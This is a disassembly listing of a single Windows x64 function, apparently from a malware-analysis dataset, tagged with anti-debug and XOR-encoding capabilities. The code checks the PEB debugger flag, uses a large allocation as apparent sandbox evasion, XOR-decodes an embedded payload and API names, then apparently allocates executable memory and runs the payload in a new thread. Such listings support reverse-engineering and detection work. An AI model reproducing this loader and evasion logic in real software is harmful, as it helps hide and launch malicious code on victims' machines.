Function at 0x180001010
Capabilities:
Check for peb ntglobalflag flag
Encode data using xor

Disassembly:
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
jne 0x180001aa4
mov ecx, 0x5f5e100
mov qword [rsp + 0x2c0], rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x180001a9d
mov qword [rsp + 0x2c8], rsi
xor edx, edx
mov qword [rsp + 0x2d0], rdi
mov r8d, 0x5f5e100
mov rcx, rax
mov qword [rsp + 0x2d8], r14
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ebx, 4
lea rax, [rbp - 0x60]
mov edx, ebx
lea rcx, [0x1800031c0]
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1800010b0
movups xmm0, xmmword [0x1800033c0]
mov eax, dword [0x1800033d8]
lea r9, [rsp + 0x69]
mov dword [rsp + 0x50], eax
xor edi, edi
mov eax, dword [0x1800033e8]
mov r10d, edi
mov dword [rsp + 0x70], eax
movabs r14, 0x97b425ed097b425f
movzx eax, byte [0x1800033ec]
mov byte [rsp + 0x74], al
mov eax, dword [0x1800033f8]
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x60], eax
movzx eax, word [0x1800033fc]
movsd xmm0, qword [0x1800033d0]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1800033e0]
mov word [rsp + 0x64], ax
movzx eax, byte [0x1800033fe]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1800033f0]
mov byte [rsp + 0x66], al
mov eax, dword [0x180003408]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [0x180003400]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x18000340c]
movsd qword [rsp + 0x78], xmm0
movups xmm0, xmmword [0x180003410]
mov byte [rbp - 0x7c], al
mov eax, dword [0x180003420]
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], eax
nop dword [rax]
nop word [rax + rax]
movsxd r8, r10d
mov rax, r14
mul r8
mov rcx, r8
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 1]
xor byte [r9 - 1], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 2]
xor byte [r9], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 3]
xor byte [r9 + 1], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 4]
xor byte [r9 + 2], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 5]
xor byte [r9 + 3], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 6]
xor byte [r9 + 4], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 7]
xor byte [r9 + 5], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 8]
xor byte [r9 + 6], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 9]
xor byte [r9 + 7], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [r9 + 8], al
lea rcx, [r8 + 0xa]
mov rax, r14
mul rcx
add r10d, 0xc
lea r9, [r9 + 0xc]
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xb]
xor byte [r9 - 3], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [r9 - 2], al
cmp r10d, 0xc
jb 0x1800011d0
mov r8d, edi
lea r9, [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movsxd rcx, r8d
lea r9, [r9 + 1]
mov rax, r14
inc r8d
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [r9 - 1], al
cmp r8d, 0x1ff
jb 0x180001360
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov edx, 0x200
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call rax
mov rsi, rax
lea rcx, [rbp - 0x60]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rbx, 1
jne 0x1800013c2
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x59]
mov r10d, edi
nop dword [rax]
nop word [rax + rax]
movsxd r8, r10d
mov rax, r14
mul r8
mov rcx, r8
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 1]
xor byte [r9 - 1], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 2]
xor byte [r9], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 3]
xor byte [r9 + 1], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 4]
xor byte [r9 + 2], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 5]
xor byte [r9 + 3], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 6]
xor byte [r9 + 4], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 7]
xor byte [r9 + 5], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 8]
xor byte [r9 + 6], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 9]
xor byte [r9 + 7], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [r9 + 8], al
lea rcx, [r8 + 0xa]
mov rax, r14
mul rcx
add r10d, 0xe
lea r9, [r9 + 0xe]
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xb]
xor byte [r9 - 5], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xc]
xor byte [r9 - 4], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xd]
xor byte [r9 - 3], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [r9 - 2], al
cmp r10d, 0xe
jb 0x180001430
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x30]
mov edx, 0x200
mov r8d, 0x20
mov rcx, rsi
call rax
test eax, eax
je 0x180001a60
mov r10d, edi
lea rcx, [rsp + 0x79]
nop word [rax + rax]
movsxd r9, r10d
mov rax, r14
mul r9
lea r8, [r9 + 1]
shr rdx, 4
imul rax, rdx, 0x1b
mov rdx, r9
sub rdx, rax
movzx eax, byte [rsp + rdx + 0x38]
xor byte [rcx - 1], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 2]
xor byte [rcx], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 3]
xor byte [rcx + 1], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 4]
xor byte [rcx + 2], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 5]
xor byte [rcx + 3], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 6]
xor byte [rcx + 4], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 7]
xor byte [rcx + 5], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 8]
xor byte [rcx + 6], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 9]
xor byte [rcx + 7], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
xor byte [rcx + 8], al
lea r8, [r9 + 0xa]
mov rax, r14
mul r8
add r10d, 0xc
lea rcx, [rcx + 0xc]
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
lea r8, [r9 + 0xb]
xor byte [rcx - 3], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
xor byte [rcx - 2], al
cmp r10d, 0xc
jb 0x180001630
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8, rsi
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call rax
mov rbx, rax
lea r9, [rbp - 0x77]
nop dword [rax]
nop word [rax + rax]
movsxd r8, edi
mov rax, r14
mul r8
mov rax, r8
shr rdx, 4
imul rcx, rdx, 0x1b
sub rax, rcx
lea rcx, [r8 + 1]
movzx eax, byte [rsp + rax + 0x38]
xor byte [r9 - 1], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 2]
xor byte [r9], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 3]
xor byte [r9 + 1], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 4]
xor byte [r9 + 2], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 5]
xor byte [r9 + 3], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 6]
xor byte [r9 + 4], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 7]
xor byte [r9 + 5], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 8]
xor byte [r9 + 6], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 9]
xor byte [r9 + 7], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [r9 + 8], al
lea rcx, [r8 + 0xa]
mov rax, r14
mul rcx
add edi, 0x13
lea r9, [r9 + 0x13]
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xb]
xor byte [r9 - 0xa], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xc]
xor byte [r9 - 9], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xd]
xor byte [r9 - 8], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xe]
xor byte [r9 - 7], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0xf]
xor byte [r9 - 6], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0x10]
xor byte [r9 - 5], al
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
lea rcx, [r8 + 0x11]
xor byte [r9 - 4], al
add r8, 0x12
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x1b
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [r9 - 3], al
mov rax, r14
mul r8
shr rdx, 4
imul rax, rdx, 0x1b
sub r8, rax
movzx eax, byte [rsp + r8 + 0x38]
xor byte [r9 - 2], al
cmp edi, 0x13
jb 0x1800017f0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0xffffffff
mov rcx, rbx
call rax
mov rdi, qword [rsp + 0x2d0]
mov eax, 1
mov rsi, qword [rsp + 0x2c8]
mov r14, qword [rsp + 0x2d8]
mov rbx, qword [rsp + 0x2c0]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.180001ac0
add rsp, 0x2b0
pop rbp
ret
mov eax, 1
jmp 0x180001a7d
mov eax, 1
jmp 0x180001a85